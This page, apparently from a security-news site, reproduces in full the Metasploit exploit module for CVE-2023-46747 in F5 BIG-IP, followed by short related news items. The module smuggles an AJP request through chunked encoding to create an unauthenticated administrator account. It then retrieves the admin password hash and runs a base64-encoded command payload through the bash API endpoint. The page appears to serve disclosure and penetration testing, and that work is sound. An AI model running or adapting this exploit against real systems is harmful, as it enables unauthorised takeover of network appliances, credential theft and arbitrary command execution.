Headline
F5 BIG-IP TMUI AJP Smuggling Remote Command Execution
This Metasploit module exploits a flaw in F5’s BIG-IP Traffic Management User Interface (TMU) that enables an external, unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to execute a command payload. Both the exploit and check methods automatically delete any temporary accounts that are created.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/proto/apache_j_p'class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Retry ApacheJP = Rex::Proto::ApacheJP def initialize(info = {}) super( update_info( info, 'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE', 'Description' => %q{ This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external, unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to execute a command payload. Both the exploit and check methods automatically delete any temporary accounts that are created. }, 'Author' => [ 'Michael Weber', # vulnerability analysis 'Thomas Hendrickson', # vulnerability analysis 'Sandeep Singh', # nuclei template 'Spencer McIntyre' # metasploit module ], 'References' => [ ['CVE', '2023-46747'], ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'], ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'], ['URL', 'https://my.f5.com/manage/s/article/K000137353'], ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'], ['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis'] ], 'DisclosureDate' => '2023-10-26', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Targets' => [ [ 'Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD } ], ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443, 'FETCH_WRITABLE_DIR' => '/tmp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [ IOC_IN_LOGS, # user creation events are logged CONFIG_CHANGES # a temporary user is created then deleted ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = create_user(role: 'Guest') return CheckCode::Unknown('No response received from target.') unless res return CheckCode::Safe('Failed to create the user.') unless res.code == 200 changed = update_user_password return CheckCode::Safe('Failed to set the new user\'s password.') unless changed res = bigip_api_tm_get_user(username) return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate' CheckCode::Vulnerable('Successfully tested unauthenticated user creation.') end def exploit res = create_user(role: 'Administrator') fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200 changed = update_user_password fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed print_good("Admin user was created successfully. Credentials: #{username} - #{password}") res = bigip_api_tm_get_user('admin') if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present? print_good("Retrieved the admin hash: #{hash}") report_hash('admin', hash) end logged_in = retry_until_truthy(timeout: 30) do res = bigip_api_shared_login res&.code == 200 end fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in token = res.get_json_document.dig('token', 'token') fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank? print_status("Obtained login token: #{token}") bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)" # this may or may not timeout send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'), 'headers' => { 'Content-Type' => 'application/json', 'X-F5-Auth-Token' => token }, 'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json ) end def report_hash(user, hash) jtr_format = Metasploit::Framework::Hashes.identify_hash(hash) service_data = { address: rhost, port: rport, service_name: 'F5 BIG-IP TMUI', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, jtr_format: jtr_format, username: user }.merge(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) end def cleanup super print_status('Deleting the created user...') delete_user end def username @username ||= rand_text_alpha(6..8) end def password @password ||= rand_text_alphanumeric(16..20) end def create_user(role:) # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html send_request_smuggled_ajp({ 'handler' => '/tmui/system/user/create', 'form_page' => '/tmui/system/user/create.jsp', 'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]", 'systemuser-hidden_before' => '', 'name' => username, 'name_before' => '', 'passwd' => password, 'passwd_before' => '', 'finished' => 'x', 'finished_before' => '' }) end def delete_user send_request_smuggled_ajp({ 'handler' => '/tmui/system/user/list', 'form_page' => '/tmui/system/user/list.jsp', 'checkbox0' => username, 'checkbox0_before' => 'checked', 'delete_confirm' => 'Delete', 'delete_confirm_before' => 'Delete', 'row_count' => '1', 'row_count_before' => '1' }) end def update_user_password new_password = Rex::Text.rand_text_alphanumeric(password.length) changed = retry_until_truthy(timeout: 30) do res = bigip_api_shared_set_password(username, password, new_password) res&.code == 200 end @password = new_password if changed changed end def send_request_smuggled_ajp(query) post_data = "204\r\n" # do not change timenow = rand_text_numeric(1) tmui_dubbuf = rand_text_alpha_upper(11) query = query.merge({ '_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest), '_bufvalue_before' => '', '_timenow' => timenow, '_timenow_before' => '' }) query_string = URI.encode_www_form(query).ljust(370, '&') # see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new( http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST, req_uri: '/tmui/Control/form', remote_addr: '127.0.0.1', remote_host: 'localhost', server_name: 'localhost', headers: [ { header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf }, { header_name: 'REMOTEROLE', header_value: '0' }, { header_name: 'host', header_value: 'localhost' } ], attributes: [ { code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' }, { code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string }, { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR } ] ) ajp_data = ajp_forward_request.to_binary_s[2...] unless ajp_data.length == 0x204 # 516 bytes # this is a developer error raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes." end post_data << ajp_data post_data << "\r\n0" send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'), 'headers' => { 'Transfer-Encoding' => 'chunked, chunked' }, 'data' => post_data ) end def bigip_api_shared_set_password(user, old_password, new_password) send_request_cgi( 'method' => 'PATCH', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", 'Content-Type' => 'application/json' }, 'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json ) end def bigip_api_shared_login send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'), 'headers' => { 'Content-Type' => 'application/json' }, 'data' => { 'username' => username, 'password' => password }.to_json ) end def bigip_api_tm_get_user(user) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user), 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", 'Content-Type' => 'application/json' } ) endend
Related news
Threat actors linked to the RansomHub ransomware group encrypted and exfiltrated data from at least 210 victims since its inception in February 2024, the U.S. government said. The victims span various sectors, including water and wastewater, information technology, government services and facilities, healthcare and public health, emergency services, food and agriculture, financial services,
Organizations in the Defense Industrial Base (DIB) sector are in the crosshairs of an Iranian threat actor as part of a campaign designed to deliver a never-before-seen backdoor called FalseFont. The findings come from Microsoft, which is tracking the activity under its weather-themed moniker Peach Sandstorm (formerly Holmium), which is also known as APT33, Elfin, and Refined Kitten. "
F5 is warning of active abuse of a critical security flaw in BIG-IP less than a week after its public disclosure that could result in the execution of arbitrary system commands as part of an exploit chain. Tracked as CVE-2023-46747 (CVSS score: 9.8), the vulnerability allows an unauthenticated attacker with network access to the BIG-IP system through the management port to achieve code execution
F5 has warned customers about a critical vulnerability impacting BIG-IP that could result in unauthenticated remote code execution.
F5 has alerted customers of a critical security vulnerability impacting BIG-IP that could result in unauthenticated remote code execution. The issue, rooted in the configuration utility component, has been assigned the CVE identifier CVE-2023-46747, and carries a CVSS score of 9.8 out of a maximum of 10. "This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP
Undisclosed requests may bypass configuration utility authentication, allowing an attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated